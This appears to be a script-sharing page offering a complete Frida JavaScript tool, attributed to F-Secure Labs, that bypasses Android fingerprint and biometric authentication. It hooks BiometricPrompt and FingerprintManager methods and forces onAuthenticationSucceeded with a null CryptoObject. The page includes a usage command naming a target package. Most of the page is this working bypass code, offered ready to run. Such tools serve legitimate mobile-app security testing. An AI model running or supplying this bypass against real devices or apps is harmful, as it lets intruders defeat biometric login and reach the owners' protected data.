BiometricAuthenticationBypassNullCryptoObject
4 views
22f68668...
Description
This would bypass the biometric authenticationj when the NULL CryptoObject is accepted.Script Courtesy - F-secure-Labs.
How to Use
Download the script and run it with Frida CLI:
Download ScriptThen run with Frida:
frida -U -f YOUR_PACKAGE_NAME -l biometricauthenticationbypassnullcryptoobject.js
Replace YOUR_PACKAGE_NAME with the target app's package name.
Source Code
JavaScript
/*
Bypass fingerprint authentication if the app accept NULL cryptoObject in onAuthenticationSucceeded(...).
This script should automatically bypass fingerprint when authenticate(...) method will be called.
*/
console.log("Fingerprint hooks loaded!");
Java.perform(function() {
//Call in try catch as Biometric prompt is supported since api 28 (Android 9)
try {
hookBiometricPrompt_authenticate();
} catch (error) {
console.log("hookBiometricPrompt_authenticate not supported on this android version")
}
try {
hookBiometricPrompt_authenticate2();
} catch (error) {
console.log("hookBiometricPrompt_authenticate not supported on this android version")
}
try {
hookFingerprintManagerCompat_authenticate();
} catch (error) {
console.log("hookFingerprintManagerCompat_authenticate failed");
}
try {
hookFingerprintManager_authenticate();
} catch (error) {
console.log("hookFingerprintManager_authenticate failed");
}
});
var cipherList = [];
var StringCls = null;
Java.perform(function() {
StringCls = Java.use('java.lang.String');
});
function getAuthResult(resultObj, cryptoInst) {
try {
var authenticationResultInst = resultObj.$new(cryptoInst, null, 0);
} catch (error) {
try {
var authenticationResultInst = resultObj.$new(cryptoInst, null);
} catch (error) {
try {
var authenticationResultInst = resultObj.$new(cryptoInst);
} catch (error) {
var authenticationResultInst = resultObj.$new(null, null, 0, false);
}
}
}
console.log("cryptoInst:, " + cryptoInst + " class: " + cryptoInst.$className);
return authenticationResultInst;
}
function getBiometricPromptAuthResult() {
var sweet_cipher = null;
var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');
var cryptoInst = cryptoObj.$new(sweet_cipher);
var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');
var authenticationResultInst = getAuthResult(authenticationResultObj, cryptoInst);
return authenticationResultInst
}
function hookBiometricPrompt_authenticate() {
var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
console.log("Hooking BiometricPrompt.authenticate()...");
biometricPrompt.implementation = function(cancellationSignal, executor, callback) {
console.log("[BiometricPrompt.BiometricPrompt()]: cancellationSignal: " + cancellationSignal + ", executor: " + ", callback: " + callback);
var authenticationResultInst = getBiometricPromptAuthResult();
callback.onAuthenticationSucceeded(authenticationResultInst);
}
}
function hookBiometricPrompt_authenticate2() {
var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.hardware.biometrics.BiometricPrompt$CryptoObject', 'android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
console.log("Hooking BiometricPrompt.authenticate2()...");
biometricPrompt.implementation = function(crypto, cancellationSignal, executor, callback) {
console.log("[BiometricPrompt.BiometricPrompt2()]: crypto:" + crypto + ", cancellationSignal: " + cancellationSignal + ", executor: " + ", callback: " + callback);
var authenticationResultInst = getBiometricPromptAuthResult();
callback.onAuthenticationSucceeded(authenticationResultInst);
}
}
function hookFingerprintManagerCompat_authenticate() {
/*
void authenticate (FingerprintManagerCompat.CryptoObject crypto,
int flags,
CancellationSignal cancel,
FingerprintManagerCompat.AuthenticationCallback callback,
Handler handler)
*/
var fingerprintManagerCompat = null;
var cryptoObj = null;
var authenticationResultObj = null;
try {
fingerprintManagerCompat = Java.use('android.support.v4.hardware.fingerprint.FingerprintManagerCompat');
cryptoObj = Java.use('android.support.v4.hardware.fingerprint.FingerprintManagerCompat$CryptoObject');
authenticationResultObj = Java.use('android.support.v4.hardware.fingerprint.FingerprintManagerCompat$AuthenticationResult');
} catch (error) {
try {
fingerprintManagerCompat = Java.use('androidx.core.hardware.fingerprint.FingerprintManagerCompat');
cryptoObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManagerCompat$CryptoObject');
authenticationResultObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManagerCompat$AuthenticationResult');
} catch (error) {
console.log("FingerprintManagerCompat class not found!");
return
}
}
console.log("Hooking FingerprintManagerCompat.authenticate()...");
var fingerprintManagerCompat_authenticate = fingerprintManagerCompat['authenticate'];
fingerprintManagerCompat_authenticate.implementation = function(crypto, flags, cancel, callback, handler) {
console.log("[FingerprintManagerCompat.authenticate()]: crypto: " + crypto + ", flags: " + flags + ", cancel:" + cancel + ", callback: " + callback + ", handler: " + handler);
//console.log(enumMethods(callback.$className));
callback['onAuthenticationFailed'].implementation = function() {
console.log("[onAuthenticationFailed()]:");
var sweet_cipher = null;
var cryptoInst = cryptoObj.$new(sweet_cipher);
var authenticationResultInst = getAuthResult(authenticationResultObj, cryptoInst);
callback.onAuthenticationSucceeded(authenticationResultInst);
}
return this.authenticate(crypto, flags, cancel, callback, handler);
}
}
function hookFingerprintManager_authenticate() {
/*
public void authenticate (FingerprintManager.CryptoObject crypto,
CancellationSignal cancel,
int flags,
FingerprintManager.AuthenticationCallback callback,
Handler handler)
Error: authenticate(): has more than one overload, use .overload(<signature>) to choose from:
.overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler')
.overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler', 'int')
*/
var fingerprintManager = null;
var cryptoObj = null;
var authenticationResultObj = null;
try {
fingerprintManager = Java.use('android.hardware.fingerprint.FingerprintManager');
cryptoObj = Java.use('android.hardware.fingerprint.FingerprintManager$CryptoObject');
authenticationResultObj = Java.use('android.hardware.fingerprint.FingerprintManager$AuthenticationResult');
} catch (error) {
try {
fingerprintManager = Java.use('androidx.core.hardware.fingerprint.FingerprintManager');
cryptoObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManager$CryptoObject');
authenticationResultObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManager$AuthenticationResult');
} catch (error) {
console.log("FingerprintManager class not found!");
return
}
}
console.log("Hooking FingerprintManager.authenticate()...");
var fingerprintManager_authenticate = fingerprintManager['authenticate'].overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler');
fingerprintManager_authenticate.implementation = function(crypto, cancel, flags, callback, handler) {
console.log("[FingerprintManager.authenticate()]: crypto: " + crypto + ", flags: " + flags + ", cancel:" + cancel + ", callback: " + callback + ", handler: " + handler);
var sweet_cipher = null;
var cryptoInst = cryptoObj.$new(sweet_cipher);
var authenticationResultInst = getAuthResult(authenticationResultObj, cryptoInst);
callback.onAuthenticationSucceeded(authenticationResultInst);
return this.authenticate(crypto, cancel, flags, callback, handler);
}
}
function enumMethods(targetClass) {
var hook = Java.use(targetClass);
var ownMethods = hook.class.getDeclaredMethods();
return ownMethods;
}
Comments